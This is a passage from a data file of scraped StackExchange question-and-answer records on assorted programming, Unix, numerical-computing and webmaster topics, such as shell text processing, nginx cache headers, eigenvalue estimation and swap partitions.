{  "id": "_unix.167306"  , "question": "I have a text file with following data. Name             Feature Marry            Lecturer Marry            Student Marry            Leader Bob              Lecturer Bob              Student Som              StudentI have only 3 features for every person i.e. Lecturer, Student and Leader.The example above is just a sample and in my real data I have many more Persons having these features.Now, I want to make a Unix script by which I can check that which of the 3 features is missing for respective person.I understand that it can be done by making key value relationship, but I'm not able to figure it out correctly.Im running bash shell on SunOS 5.10 i386."  , "title": "Finding missing value in text file"  , "tags": "shell script;text processing;scripting"  , "accepted_answer": "If you have the list of names in list.txt you can do:for i in Student Leader Lecturer; do grep -F $i list.txt | cut -d ' ' -f 1 | sort > $i.out ; doneTo get the names in 3 separate sorted files, which you can compare with diffuse (or xxdiff or diff3):diffuse *.outIf you just want to have files with the names of the persons missing each label, you can first generate a file with all names and use uniq -u to find the ones that are not in that list (the really unique ones):sed -n '1!p' list.txt  | cut -d ' ' -f 1 | sort -u > names.allfor i in Student Leader Lecturer; do fgrep $i list.txt | cut -d ' ' -f 1  | cat - names.all | sort | uniq -u > $i.missing ; doneIf you want to do this from a script and a file feature with:Leader StudentLecturerand the source table in example.txt, you can use:#!/bin/bashrm -f *.missing names.allfeature=featuresed -n '1!p' example.txt | cut -d ' ' -f 1 | sort -u > names.allfor i in $(cat $feature)do    fgrep $i example.txt | cut -d ' ' -f 1 | cat - names.all | sort | uniq -u > $i.missing done"  } 
{  "id": "_cs.14552"  , "question": "We have a DAG. We have a function on the nodes $F\\colon V\\to \\mathbb N$ (loosely speaking, we number the nodes). We would like to create a new directed graph with these rules: Only nodes with the same number can be contracted into the same new node. $F(x) \\neq F(y) \\Rightarrow x' \\neq y'$. (However, $x' \\neq y'\\nRightarrow F(x) \\neq F(y)$.)We add all the old edges between new nodes: $(x,y) \\in E \\land x' \\neq y' \\iff (x',y')\\in E'$.This new graph is still a DAG.What is the minimal $|V'|$? What is an algorithm creating a minimal new graph?"  , "title": "Minimal size of contracting a DAG into a new DAG"  , "tags": "algorithms;graphs;np complete;reductions"  , "accepted_answer": "One approach to solving this problem would be to use integer linear programming (ILP).  Let's tackle the decision version of the problem: given $k$, is there a way to contract same-color vertices to get a DAG of size $\\le k$?This can be expressed as an ILP instance using standard techniques.  We're given the color of each vertex in the original graph.  I suggest that we label each vertex with a label in $\\{1,2,\\dots,k\\}$; all vertices with the same label and same color will be contracted.  So, the decision problem becomes: does there exist a labelling, such that contracting all same-color same-label vertices yields a DAG?To express this as an integer linear program, introduce an integer variable $\\ell_v$ for each vertex $v$, to represent the label on vertex $v$.  Add the inequality $1 \\le \\ell_v \\le k$.The next step is to express the requirement that the contracted graph must be a DAG.  Notice that if there is a labelling of the form listed above, without loss of generality there exists such a labelling where the labels induce a topological sort on the contracted graph (i.e., if $v$ precedes $w$ in the contracted graph, then $v$'s label is smaller than $w$'s label).  So, for each edge $v\\to w$ in the original graph, we'll add the constraint that either $v$ and $w$ have the same label and same color, or else $v$'s label is smaller than $w$'s label.   Specifically, for each edge $v\\to w$ in the initial graph where $v,w$ have the same color, add the inequality $\\ell_v \\le \\ell_w$.  For each edge $v \\to w$ where $v,w$ have different colors, add the inequality $\\ell_v < \\ell_w$.Now see if there is any feasible solution to this integer linear program.  There will be a feasible solution if and only if the labelling is of the desired form (i.e., contracting all same-color same-label vertices yields a DAG).  In other words, there will be a feasible solution if and only if there is a way to contract the original graph to a DAG of size $\\le k$.We can use any integer linear programming solver; if the ILP solver gives us an answer, we have an answer to the original decision problem.Of course, this isn't guaranteed to complete in polynomial time.  There are no guarantees.  However, ILP solvers have gotten pretty good.  I would expect that, for a reasonable-sized graph, you've got a decent chance that an ILP solver might be able to solve this problem in a reasonable amount of time.It's also possible to encode this as a SAT instance and use a SAT solver.  I don't know whether that would be more effective.  The ILP version is probably easier to think about, though.(I hope this is right.  I haven't checked every detail carefully, so please double-check my reasoning!  I hope I haven't gone awry somewhere.)Update (10/21): It looks like ILPs of this form can be solved in linear time, by processing the DAG in topologically sorted order and keeping track of the lower bound on the label for each vertex.  This has me suspicious of my solution: have I made a mistake somewhere?"  } 
{  "id": "_unix.42512"  , "question": "I have dual screen monitor setup.There are applications (like VLC), where everything works out of the box. If you fullscreen a video, you can use your other screen normally. This is the setup I would expect.Then there are mostly Linux games and ones you can run via Wine. If you run a fullscreen game, other screen just turns black, violet or flickers like crazy. Moreover, when you exit the game, the second screen is off, so I have to restart X.Does anyone know how I make this work better? Is this just a matter of those applications not using the appropriate library, or are there more fundamental issues with mutli-monitor support right now?Added later: Apparently there is no solution, Xorg is just fundamentally broken:http://www.maketecheasier.com/run-fullscreen-games-in-linux-with-dual-monitors/2010/03/01"  , "title": "Fullscreen applications and dual monitor setup ( + cursor grab )"  , "tags": "linux;window manager;xrandr;multi monitor"  } 
{  "id": "_cstheory.10650"  , "question": "I would like to ask how could someone modify FloodSet algorithm to work in a general network,where process failures happen..Is it possible for it to work if a crucial [1] failure happens?[1]: As crucial i mean a failure in a process that cuts the network in two separate pieces"  , "title": "FloodSet in general networks"  , "tags": "dc.distributed comp"  } 
{  "id": "_reverseengineering.2843"  , "question": "I'm trying to get to IAT of a PE file.  My plan is eventually overwrite some values so I can hook some stuff to help with unpacking, etc.  I'm using this post https://stackoverflow.com/questions/7673754/pe-format-iat-questions as a guide.  I'm currently on number 4 and that's where things are getting a little fuzzy for me.  I'm able to get a pointer to an entry within the DataDirectory array.  I chose the 13th entry because from my research http://msdn.microsoft.com/en-us/library/windows/desktop/ms680305%28v=vs.85%29.aspx it looks like that will lead me to the IAT.  I'm not sure I'm on the right track because this DataDirectory has the value for size = 0 and virtualaddress = 172.  Is the virtualsize of 172 an offset that must be added to some base address?  I'm just working with a simple C program with no debug info that prints, Hello World.  Any help is greatly appreciated.  Not sure how much showing the code will help my methodology but I'll post the relevant parts below.  Any help is appreciated.  Thanks!pDOSHeader = ctypes.cast(hModule, ctypes.POINTER(IMAGE_DOS_HEADER)).contentse_lfanew_offset = pDOSHeader.e_lfanewoffset_to_NTHeaders = e_lfanew_offset + hModulepNTHeaders = ctypes.cast(offset_to_NTHeaders,ctypes.POINTER(IMAGE_NT_HEADERS)).contentspImage_NT_Headers = pNTHeaders.OptionalHeaderpDataDirectory = pImage_NT_Headers.DataDirectorypDataDirectory_IAT = pDataDirectory[13]"  , "title": "Using Python CTypes to get to the IAT"  , "tags": "python;iat"  } 
{  "id": "_unix.29688"  , "question": "From my understanding of nginx docs, locations can't be nested (or rather if they are the effects aren't inheritable) and proxy_pass can't belong at the server {} level. So my configuration at the moment is like this, I know I can alleviate some by using filepaths but let's pretend I want different cache headers on different paths whilst using proxy_pass. Presumably there is a better way to write this without the repition:server {  listen  80;  server_name salessystem.acmecorp.com;  location /extjs/ {    ## proxy_buffers 128 256k;    proxy_pass http://localhost:5400/;    proxy_set_header Host $host;    proxy_set_header X-Real-IP $remote_addr;    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;    add_header 'X-UA-Compatible' 'IE=Edge;chrome=1';    expires max;    gzip  on;    gzip_http_version 1.1;    gzip_vary on;    gzip_comp_level 7;    gzip_proxied any;    gzip_types text/html text/css text/pdf application/json application/x-javascript text/javascript;    access_log off;    break;  }  location / {    ## proxy_buffers 128 256k;    proxy_pass http://localhost:5400/;    proxy_set_header Host $host;    proxy_set_header X-Real-IP $remote_addr;    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;    add_header 'X-UA-Compatible' 'IE=Edge;chrome=1';    expires epoch;    gzip  on;    gzip_http_version 1.1;    gzip_vary on;    gzip_comp_level 7;    gzip_proxied any;    gzip_types text/html text/css text/pdf application/json application/x-javascript text/javascript;    access_log off;    break;  }}"  , "title": "Nginx Configuration - Cache headers on certain paths"  , "tags": "nginx"  , "accepted_answer": "I think of the following for your nginx configuration : since it is just the expires header that differs for your two different locations, although both matching the proxy to the sameserver.try putting both the locations in the single blockbased on the query string, (or location match string) set a differentexpires headertag.server {  listen  80;  server_name salessystem.acmecorp.com;  location ~* (/extjs/|/) {    ## proxy_buffers 128 256k;    proxy_pass http://localhost:5400/;    proxy_set_header Host $host;    proxy_set_header X-Real-IP $remote_addr;    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;    add_header 'X-UA-Compatible' 'IE=Edge;chrome=1';    expires max;      if ($query_string ~ \\/extjs\\/) {      expires epoch;      }    gzip  on;    gzip_http_version 1.1;    gzip_vary on;    gzip_comp_level 7;    gzip_proxied any;    gzip_types text/html text/css text/pdf application/json application/x-javascript text/javascript;    access_log off;    break;  }}Please however test according to your needs, especially near the regex matches at location  and query_string value matching.However it is not clear, why would you want to  extjs to be served out of a proxied server (seems like a dynamic app server), since they are just plain text files if my assumption is right. The requests pertaining to extjs need not go through the proxy or app logic system just incase while they can be served independently through the filesystem. I think of keeping it in its seperate location itself, and have the unique gzip/expires directives unique to it in its own location block while the other common directives can be held in the server block itself.For example:server {   ...   common gzip directives   common header setters   common expires setters   ...   location / {     proxy to backend app server     settings unique to / location     ..   }   location /extjs {     settings unique to /extjs location     expires header reset     ...   }}"  } 
{  "id": "_scicomp.7609"  , "question": "I want to determine the spectral radius of a large non-symmetric matrix $A$ whose dominant eigenvalues are a pair of complex conjugates.  My first instinct was to use a power iteration with a starting vector $x$ in the complex plane.  I do recall that this method tends to have trouble when the dominant eigenvalue is complex and indeed my numerical experiments seem agree with this assessment.  Is there a way I can modify the power iteration to converge to one of the two dominant eigenvalues in the complex plane?  Is it more advisable to use a arnoldi algorithm to determine the spectral radius?"  , "title": "Estimating the spectral radius when the dominant eigenvalues are complex conjugates"  , "tags": "eigenvalues"  , "accepted_answer": "The power method indeed does not converge in the presence of multiple dominant eigenvalues of the same magnitude. (If you follow the proof, you can see that the iterates will get closer and closer to the subspace spanned by the dominant eigenvectors, but not to any particular vector in this eigenspace).A restarted Arnoldi method is in fact the way to go, but it can be quite a bit simplified since you are only interested in the dominant eigenvalue. Recall that the Arnoldi method consists in computing a unitary matrix $Q\\in\\mathrm{C}^{n\\times k}$ (consisting of basis vectors of the Krylov space spanned by $v,Av,A^2v,\\dots A^{k-1}v$ for some given vector $v$) and then solving the smaller eigenvalue problem for $Q^*AQ$ (using the fact that it is in upper Hessenberg form).The idea is now to restart every second step, i.e., given an iterate $x^k$, compute an orthonormal basis of the span of $\\{x^k, Ax^k\\}$ (since $x^k$ is assumed to be normalized, you only need to orthogonalize $Ax^k$ against $x^k$). Since projection methods best approximate the extremal eigenvalues, the eigenvalues of the projected matrix $Q^*AQ$ will converge to the complex conjugate pair of dominant eigenvalues. In fact, since you are only interested in one of the two eigenvalues, you can just take the Rayleigh quotient for $x^k$; the full iteration (started from a normalized complex vector x) is w = A*x;l = w'*x;w = w-l*x;x = w/norm(w);where l converges to one of the dominant eigenvalues.(This is Problem P-4.2 in Saad's book Numerical Methods for Large Eigenvalue Problems).Edit: Paul explicitly asked about power methods, but for the sake of later readers I should caution that the above works only if $A$ is real and in fact has a pair of complex conjugate dominant eigenvalues. If this is not known a priori, it's better to do several power iterations (with a real starting vector), orthonormalize the last two iterates, compute the eigenvalues of the projected $2\\times 2$ matrix, and repeat if necessary:for k = 1:kmax    x = w/norm(w);    w = A*x;endw = w-(x'*w)*x;w = w/norm(w);Q = [x,w];l = max(eig(Q'*A*Q));(Depending on the available routines for dense linear algebra, that might even be faster for the original question as well due to the better convergence of Krylov methods. In fact, if you have access to ARPACK or something equivalent, eigs(A,1) (or its equivalent) will be pretty hard to beat, especially if you need high accuracy.)"  } 
{  "id": "_unix.354087"  , "question": "I can't use Ctrl+Start in mate-terminal. It is interpreted a Start. Same with End.Therefore, when using vi in non-GUI mode, I can't move to start/end of file using those key combinations.showkey confirms the issue. When typing both with and without Ctrl in mate-terminal, I get the same output, while I get different outputs in xterm:xtermshowkey -aPress any keys - Ctrl-D will terminate this program^[[H     27 0033 0x1b         91 0133 0x5b         72 0110 0x48^[[1;2H  27 0033 0x1b         91 0133 0x5b         49 0061 0x31         59 0073 0x3b         50 0062 0x32         72 0110 0x48mate-terminalshowkey -aPress any keys - Ctrl-D will terminate this program^[OH     27 0033 0x1b         79 0117 0x4f         72 0110 0x48^[OH     27 0033 0x1b         79 0117 0x4f         72 0110 0x48Seems related to this very old issue: https://bugs.launchpad.net/ubuntu/+source/vte/+bug/342436, in which gnome-terminal is said to be affected as well.Is there a fix or at least a workaround for this?"  , "title": "Ctrl+Start/End not working in mate-terminal"  , "tags": "gnome terminal;mate terminal"  } 
{  "id": "_cs.43849"  , "question": "I am solving a large (~1e5 equations & unknowns) set of nonlinear equations using Newton-Raphson iterations.  Currently I am using the GPU accelerated Krylov methods implemented in ViennaCL to solve the linear system to get the update increment.  I am  solving the system on a single 24 core, 64GB  workstation with a NVIDIA Quadro K4000 GPU. However as the number of unknowns exceeds 1e5 and/or the Jacobian matrix gets more dense, there is not enough memory on the GPU to fit the compressed Jacobian matrix on the device.  Using the CPU cores allows the Jacobian matrix to fit into memory, however the compute time is very long.I would like to use a cluster of the above mentioned workstations to solve either the nonlinear system or the linear update increment system, however I am not sure how to go about decomposing the system of equations into pieces that can be tackled via a distributed memory approach.  The equations include radiative transfer, and therefore it is not easy to decompose the domain geometrically as the Jacobian matrix is dense.   Does anyone know about distributed memory approaches to solving large dense linear equation systems?  All help is greatly appreciated!PS I have looked into the parallelised nonlinear solvers implemented in PETSc, however this is a clunky c library and one must write there entire problem in terms of the PETSc interface which I would like to avoid if possible.  I would be more interested in understanding the details as to how a distributed memory parallelised nonlinear or linear solver works..."  , "title": "solving large nonlinear systems in parallel"  , "tags": "distributed systems;parallel computing;linear algebra"  , "accepted_answer": "The main point of Krylov-Newton is that it does not require computing and storing the whole Jacobian matrix. It only requires the ability to apply the matrix to a vector. The stardard approach is to do a little bit of pencil and paper work to figure out how to express the action of the derivative without actually computing and storing the whole matrix. If this is not possible, one can try to figure out a compressed representation of the matrix.For problems where the matrices are dense, but the long range interactions are low rank (I think many radiative transfer problems would fall in this category..?), fast multipole or H-matrix type methods tend to be very effective.It's difficult to give further advice without knowing more specifics of the problem."  } 
{  "id": "_webmaster.14126"  , "question": "I want to make search engines display only the title of my web page on their search results.And I don't want to show any descriptions and any texts of my page on the search results.For example, this site is displayed like:Stack OverflowA language-independent collaboratively edited question and answer site for programmers.stackoverflow.com/ - Cached - SimilarIn this case, I don't want to make search engines display the text A language-independent collaboratively edited question and answer site for programmers..And I want to make them display like:Stack Overflowstackoverflow.com/ - Cached - Similar"  , "title": "How to make search engines display only the title of a web page on their search results?"  , "tags": "search engines"  , "accepted_answer": "<meta name=robots content=nosnippet /> tells search engines to not include a snippet in search results."  } 
{  "id": "_webmaster.67975"  , "question": "I am using the event tracking in GA (JS code) to track 2 buttons on my site.I can see the clicks coming through in real time, but when I click on behavior > Events, I do not see anything (no events at all).I have tried to filter and it doesn't work.What is the common cause for this problem?"  , "title": "GA Event Tracking Not Saving Events"  , "tags": "google analytics"  } 
{  "id": "_unix.29128"  , "question": "Linux's /proc/<pid>/environ does not update (as I understand it, the file contain the initial environment of the process).How can I read a process's current environment?"  , "title": "How to read environment variables of a process"  , "tags": "linux;process;environment variables"  , "accepted_answer": "/proc/$pid/environ does update if the process changes its own environment. But many programs don't bother changing their own environment, because it's a bit pointless: a program's environment is not visible through normal channels, only through /proc and ps, and even not every unix variant has this kind of feature, so applications don't rely on it.As far as the kernel is concerned, the environment only appears as the argument of the execve system call that starts the program. Linux exposes an area in memory through /proc, and some programs update this area while others don't. In particular, I don't think any shell updates this area. As the area has a fixed size, it would be impossible to add new variables or change the length of a value."  } 
{  "id": "_webapps.103631"  , "question": "When searching Google for a term like weather or temperature it helpfully provides a widget with your location's weather information.  In the wind tab, I always assumed that the size of the arrows was proportional to the wind speed, until today.  The arrows for 15 and 16 are drastically different, despite being 1mph difference, while the arrows for 9 and 15 are extremely close to being the same size, despite the 6mph difference.I've tried searching for an explanation, but couldn't find anything.  What exactly does the arrow size mean?"  , "title": "What does the size of wind arrows signify?"  , "tags": "google search;weather"  } 
{  "id": "_cs.42779"  , "question": "I assume no, because a Turing machine that can only move right feels like it is not a Turing machine.  But, I wonder if I can add a Reset to the right moving Turing machine that resets the what head is pointing at all the way to the left of the TM.  However, doesn't this make it left moving??hmm..."  , "title": "Is a single tape Turing machine equal in power to a Turing machine that can only move right?"  , "tags": "complexity theory"  , "accepted_answer": "The usual answer would be that they are indeed much less powerful, somewhat like a finite state automaton, if I am not mistaken.But there is a catch. Imagine a TM with two heads, one which is reading, another which is writing. Both only move right! If the reading head is always left of the writing head, the part of the tape in between can act as a queue, which makes the machine Turing complete. "  } 
{  "id": "_codereview.110771"  , "question": "Already read this, but OP is using some other method.My website finds the time till new year. But this website claims to be accurate to the tenth of a second. So what I found out was my timer and their timer is off by about a minute. var daysSpan = document.getElementById(days);var hoursSpan = document.getElementById(hours);var minutesSpan = document.getElementById(minutes);var secondsSpan = document.getElementById(seconds);var c=1;function updateClock(){    var t = Date.parse('January 1 2016 00:01:05') - Date.parse(new Date());    if (t<=0 && c==1)    {        c--;        window.open(http://www.its2016.weebly.com,_self);    }    var seconds = Math.floor( (t/1000) % 60 );    var minutes = Math.floor( (t/1000/60) % 60 );    var hours = Math.floor( (t/(1000*60*60)) % 24 );    var days = Math.floor( t/(1000*60*60*24) );    daysSpan.innerHTML = days;    hoursSpan.innerHTML = hours;    minutesSpan.innerHTML = minutes;    secondsSpan.innerHTML = seconds;}setInterval(updateClock,1000);My area of suspicion is this, I have a feeling that all the divisions and multiplications are making it very inaccurate.    var seconds = Math.floor( (t/1000) % 60 );    var minutes = Math.floor( (t/1000/60) % 60 );    var hours = Math.floor( (t/(1000*60*60)) % 24 );    var days = Math.floor( t/(1000*60*60*24) );So how can I make my calculations more accurate?"  , "title": "Countdown to January 1 2016"  , "tags": "javascript;html;mathematics"  } 
{  "id": "_scicomp.27312"  , "question": "Suppose we have the negative, inhomogeneous advection equation:$$\\left(\\frac{\\partial}{\\partial x}-\\frac{1}{c}\\frac{\\partial}{\\partial t}\\right)v(t,x)=u(t,x)\\qquad(t\\in\\mathbb{R}_{+},x\\in\\mathbb{R})$$I want to solve it numerically, backward in time and forward in space.Now, I have tried a few schemes without avail. For example, the Crank-Nicolson scheme going backwards in time:In particular, we may discretise as$$\\frac{1}{c}\\frac{\\mathrm{d}}{\\mathrm{d}t}v_\\ell(t)=\\underbrace{\\frac{v_{\\ell+1}(t)-v_\\ell(t)}{\\Delta x}-u_\\ell(t)}_{G_\\ell(t)}+\\mathcal{O}(\\Delta x)\\qquad\\Delta x\\to 0$$where we have taken the forward difference of the spatial derivative.Then applying the Crank-Nicolson scheme yields$$\\frac{1}{c}\\frac{v^{n+1}_\\ell-v^n_\\ell}{\\Delta t}=\\frac{1}{2}[G_\\ell(t^{n+1})+G_\\ell(t^n)]=\\frac{1}{2}\\left[\\frac{v^{n+1}_{\\ell+1}-v^{n+1}_\\ell+v^n_{\\ell+1}-v^n_\\ell}{\\Delta x}-u^{n+1}_\\ell-u^n_\\ell\\right]$$Hence$$v^{n+1}_\\ell-\\frac{c\\Delta t}{2\\Delta x}(v^{n+1}_{\\ell+1}-v^{n+1}_\\ell)=v^n_\\ell+\\frac{c\\Delta t}{2}\\left[\\frac{v^n_{\\ell+1}-v^n_\\ell}{\\Delta x}-u^{n+1}_\\ell+u^n_\\ell\\right]$$i.e.$$\\left(\\mathrm{I}-\\frac{c\\Delta t}{2\\Delta x}\\mathrm{A}\\right)v^{n+1}_\\ell=\\left(\\mathrm{I}+\\frac{c\\Delta t}{2\\Delta x}\\mathrm{A}\\right)v^n_\\ell-\\frac{c\\Delta t}{2\\Delta x}(u^{n+1}_\\ell+u^n_\\ell)$$where$$\\mathrm{A}=\\begin{pmatrix}-1 & 1 & & 0\\\\&\\ddots & \\ddots\\\\& & -1 & 1\\\\0 & & & -1\\end{pmatrix}$$Now, since we want to go backwards in time, we replace $\\Delta t$ with $-\\Delta t$ and we get$$v^{n-1}_\\ell=\\left(\\mathrm{I}+\\frac{c\\Delta t}{2\\Delta x}\\mathrm{A}\\right)^{-1}\\left[\\left(\\mathrm{I}-\\frac{c\\Delta t}{2\\Delta x}\\mathrm{A}\\right)v^n_\\ell+\\frac{c\\Delta t}{2\\Delta x}(u^{n-1}_\\ell+u^n_\\ell)\\right]$$Now, I try to implement this on Matlab via%% ParametersL = 5; % size of domain T = 5; % measurement timedx = 1e-2; % spatial stepdt = 1e-3; % time stepx0 = 0; % point of measurementc = 1; % speed of advection%%t = 0:dt:T; % time vectorx = [0:dx:L]'; % position vectornt = length(t); % number of time stepsnx = length(x); % number of position stepsmu = dt/dx;I = eye(nx,nx+1); % identity matrixA = spdiags(ones(nx,1)*[-1 1],0:1,nx,nx);%% Solve Backward Advection Equation% preallocate the memoryv = zeros(nx,nt);u = zeros(nx,nt);% final condition, sinc function centered around x = .5v(:,nt) = sinc((x-x0)/dx);for k = nt-1:1    v(:,k-1) = (I+(c/2)*mu*A)\\((I-(c/2)*mu*A)*v(:,k)+(c/2)*mu*(u(:,k-1)+u(:,k)));endMy solution simply blows up on the boundary of the domain and is zero everywhere else. I have similar results using backwards Euler instead of Crank-Nicolson. Where am I going wrong?I provide two plots:"  , "title": "Why can I not solve the negative advection equation (backwards in time)?"  , "tags": "matlab;pde;hyperbolic pde;advection;crank nicolson"  } 
{  "id": "_cogsci.16815"  , "question": "What qualitative studies, e.g. open ended interviews, are there into mindfulness therapy?I've been skeptical about its use, wondered if it was kinda faddy. But it occurs to me that a lot of despair type emotions may have their root in being unable to relax and enjoy life. Surely meditation is linked with that?"  , "title": "What qualitative studies are there into mindfulness?"  , "tags": "emotion;therapy"  , "accepted_answer": "Wikipedia often provides references to scientific studies and the Wikipedia article on Mindfulness is no exception.The main section of the article has...Studies have also shown that rumination and worry contribute to mental illnesses such as depression and anxiety,[13][14] and that mindfulness-based interventions are effective in the reduction of both rumination and worry.[13][15]Mindfulness practice is being employed in psychology to alleviate a variety of mental and physical conditions, such as bringing about reductions in depression symptoms,[16][17][18] reducing stress,[17][19][20] anxiety,[16][17][20] and in the treatment of drug addiction.[21][22][23] Recent studies demonstrate that mindfulness meditation significantly attenuates pain through multiple, unique mechanisms.[24] It has gained worldwide popularity as a distinctive method to handle emotions.Clinical studies have documented both physical and mental health benefits of mindfulness in different patient categories as well as in healthy adults and children.[3][25][26]plusResearch on the neural perspective of how mindfulness meditation works suggests that it exerts its effects in components of attention regulation, body awareness and emotional regulation.[34] When considering aspects such as sense of responsibility, authenticity, compassion, self-acceptance and character, studies have shown that mindfulness meditation contributes to a more coherent and healthy sense of self and identity.[35][36] Neuroimaging techniques suggest that mindfulness practices such as mindfulness meditation are associated with changes in the anterior cingulate cortex, insula, temporo-parietal junction, fronto-limbic network and default mode network structures.[37][38] Further, mindfulness-induced emotional and behavioral changes have been found to be related to functional and structural changes in the brain.[38]There is also a scientific research sectionMindfulness has gained increasing empirical attention ever since 1970.[120][unreliable source?] According to a 2015 systematic review and meta-analysis of systematic reviews of RCTs, evidence supports the use of mindfulness programs to alleviate symptoms of a variety of mental and physical disorders.[25] Other reviews report similar findings.[19][22][33] Further, mindfulness meditation appears to bring about favorable structural changes in the brain,[32][37][121] and may also prevent or delay the onset of mild cognitive impairment and Alzheimer's disease.[122] Mindfulness proved to be effective also in enhancing peoples capacity to self-regulate.[123]ReferencesThese are provided in the full articleThis question is close to being put on hold or closed and to indicate why, it would produce a posting which is much longer than the standard laid out in the help center,if your question could be answered by an entire book, or has many valid answers, it's probably too broad for our formatplus, there are so many referenced studies and articles of scientific research connected to this (I counted 25 in total - 156 in the full article) that providing a full list of references here would take me an age to provide in full (with weblinks etc.) on this site."  } 
{  "id": "_softwareengineering.339127"  , "question": "I have released many open source software under Apache 2.0, now I'm providing a SaaS using that software.Basically, I need to prevent people just taking my software and just rebrand it to provide it in SaaS, being in direct compatition with my own SaaS.AFAIK Apache 2.0 make that possible, even the rebranding (changing my software name, logos, powered by xxx messages, etc. even rebranding the documentation), without making any contribution to the open source project.My question is how to prevent that? Does the Apache 2.0 consider this situation? Can my software be better covered by a different license?"  , "title": "How to prevent unfair use of open source software licensed under Apache 2.0"  , "tags": "licensing;apache license;foss"  , "accepted_answer": "You could add a license term similar to the term from the Affero GPL v3 mentioned here: if you run the program on a server and let other users communicate with it there, your server must also allow them to download the source code corresponding to the program that it's runningYou could also consider to put your programs fully under Affero GPL v3, or offer dual licensing.If a competitor will follow your license terms is a completely different question, especially when he is located in a country with a different jurisdiction than yours. If you want to prevent yourself against such folks, you need to keep your source code in private."  } 
{  "id": "_unix.158555"  , "question": "I created a partition called /dev/sda3 as a swap partition, and changed the ID to 82 (Linux Swap) via fdisk. If this partition was recognized as a swap partition (seen in the output of fdisk -l and blkid), then why couldn't I proceed straight to swapon /dev/sda3? Why did I have to execute mkswap /dev/sda3?Another question, is partition information exclusive from data? So if I changed a filesystem type via fdisk would data be affected?fdisk -lDisk /dev/sda: 21.5 GB, 21474836480 bytes255 heads, 63 sectors/track, 2610 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x0008d6ed   Device Boot      Start         End      Blocks   Id  System/dev/sda1   *           1          32      256000   83  LinuxPartition 1 does not end on cylinder boundary./dev/sda2              32        1566    12317696   83  Linux/dev/sda3            1566        2610     8390105   82  Linux swap / Solarisblkid/dev/sda3: LABEL=SWAP UUID=63f1807e-7cc6-4339-92b2-b1958fcf285e TYPE=swap"  , "title": "Why do I need mkswap if swap space has been created via fdisk?"  , "tags": "swap;fdisk"  , "accepted_answer": "fdisk creates a partition but doesn't format it. Before you can use your swap partition, you need to format it first. This is done with mkswap.The same rules apply for any other file systems. You need to create the partition and format it before using it."  } 
{  "id": "_scicomp.6860"  , "question": "I have a 53534x3 matrix with x, y and z coordinates.I want to find the element of matrix within ranges as follows:% coordinate range;x1(x<-25|x>0);x2(x<0|x>25);y1(y<-40|y>0);y2(y<0|y>40);z1(z<45|z>0);z2(z<0|z>82);and insert them into a new matrix, so that it becomepoint1=[x1, y1, z1];point2=[x2, y2, z2];I need to find the distance between the two points.% define points;xd=x2-x1;yd=y2-y1;zd=z2-z1;Distance=sqrt(xd*xd+yd*yd+zd*zd);Is loop preferrably efficient?"  , "title": "Matlab element within ranges and distance between two points"  , "tags": "matlab;matrix;elements"  , "accepted_answer": "I'm suspecting a typo in at least some of the conditionals. For instance, z<45|z>0 is trivially true. But I'm going to pretend its not and write the code out anyway, so that if you correct it (perhaps z<-45|z>0) you'll still have the right structure.x  = A(:,1); y = A(:,2); z = A(:,3); i1 = find((x<-25|x>0)&(y<-40|y>0)&(z<45|z>0),1,'first'); i2 = find((x<0|x>25)&(y<0|y>40)&(z<0|z>82),1,'first'); point1 = A(i1,:); point2 = A(i2,:); Distance = norm(point1-point2);Like Dr. Sam showed, using tight for loops in MATLAB is truly disastrous for performance. Obviously, as Wolfgang pointed out, MATLAB is using optimized for loops internally to iterate through the elements of the vectors, but that's compiled code. If you were doing this with compiled C, you'd use for loops too, and avoid a lot of the temporary generation that MATLAB is doing here."  } 
{  "id": "_unix.358606"  , "question": "I am having a recurring problem when using perf with Intel-PT event. I am currently performing profiling on a Intel(R) Xeon(R) CPU E5-2620 v4 @ 2.10GHz machine, with x86_64 architecture and 32 hardware threads with virtualization enabled. I specifically use programs/source codes from SpecCPU2006 for profiling.I am specifically observing that the first time I perform profiling on one of the compiled binaries from SpecCPU2006, everything works fine and the perf.data file gets generated, which is as expected with Intel-PT. As SpecCPU2006 programs are computationally-intensive(use 100% of CPU at any time), clearly perf.data files would be large for most of the programs. I obtain roughly 7-10 GB perf.data files for most of the profiled programs. However, when I try to perform profiling the second time on the same compiled binary, after the first one is successfully done -- my server machine freezes up. Sometimes, this happens when I try profiling the third time/the fourth time (after the second or third profiling completed successfully). This behavior is highly unpredictable. Now I cannot profile any more binaries unless I have restarted the machine again.I have also posted the server error logs which I get once I see that the computer has stopped responding.Clearly there is an error message saying Fixing recursive fault but reboot is needed!. This happens for particularly large enough SpecCPU2006 binaries which take more than 1 minute to run without perf. Is there any particular reason why this might happen ? This should not occur due to high CPU usage, as running the programs without perf or with perf but any other hardware event(that can be seen by perf-list) completed successfully. This only seems to happen with Intel-PT.Please guide me in using the steps to solve this problem. Thanks."  , "title": "Running perf record with Intel-PT event on compiled binaries from SPECCpu2006 crashes the server machine"  , "tags": "cpu;intel;perf"  } 
{  "id": "_webmaster.8586"  , "question": "In Google Analytics, I've been following several tutorials to export a list of keywords, but something is going wrong.  This is what I try:1.) click traffic sources2.) click keywords3.) Click Export4.) Click CSVThe resulting file shows two columns.  Column A is dates.  Column B is visits.  I am trying to export a file so that Column A is keywords and Column B is visits."  , "title": "How can I export a keyword list from Google Analytics?"  , "tags": "google;google analytics;analytics;keywords"  , "accepted_answer": "Scroll down a little. The keywords are below the dates."  } 
{  "id": "_softwareengineering.130679"  , "question": "We all have definitely used typedefs and #defines one time or the other. Today while working with them, I started pondering on a thing.Consider the below 2 situations to use int data type with another name:typedef int MYINTEGERand#define MYINTEGER intLike above situation, we can, in many situations, very well accomplish a thing using #define, and also do the same using typedef, although the ways in which we do the same may be quite different. #define can also perform MACRO actions which a typedef cannot.Although the basic reason for using them is the different, how different is their working? When should one be preferred over the other when both can be used? Also, is one guaranteed to be faster than the other in which situations? (e.g. #define is preprocessor directive, so everything is done way earlier than at compiling or runtime)."  , "title": "typedefs and #defines"  , "tags": "c++;c;programming practices"  , "accepted_answer": "A typedef is generally preferred unless there's some odd reason that you specifically need a macro.macros do textual substitution, which can do considerable violence to the semantics of the code.  For example, given:#define MYINTEGER intyou could legally write:short MYINTEGER x = 42;because short MYINTEGER expands to short int.On the other hand, with a 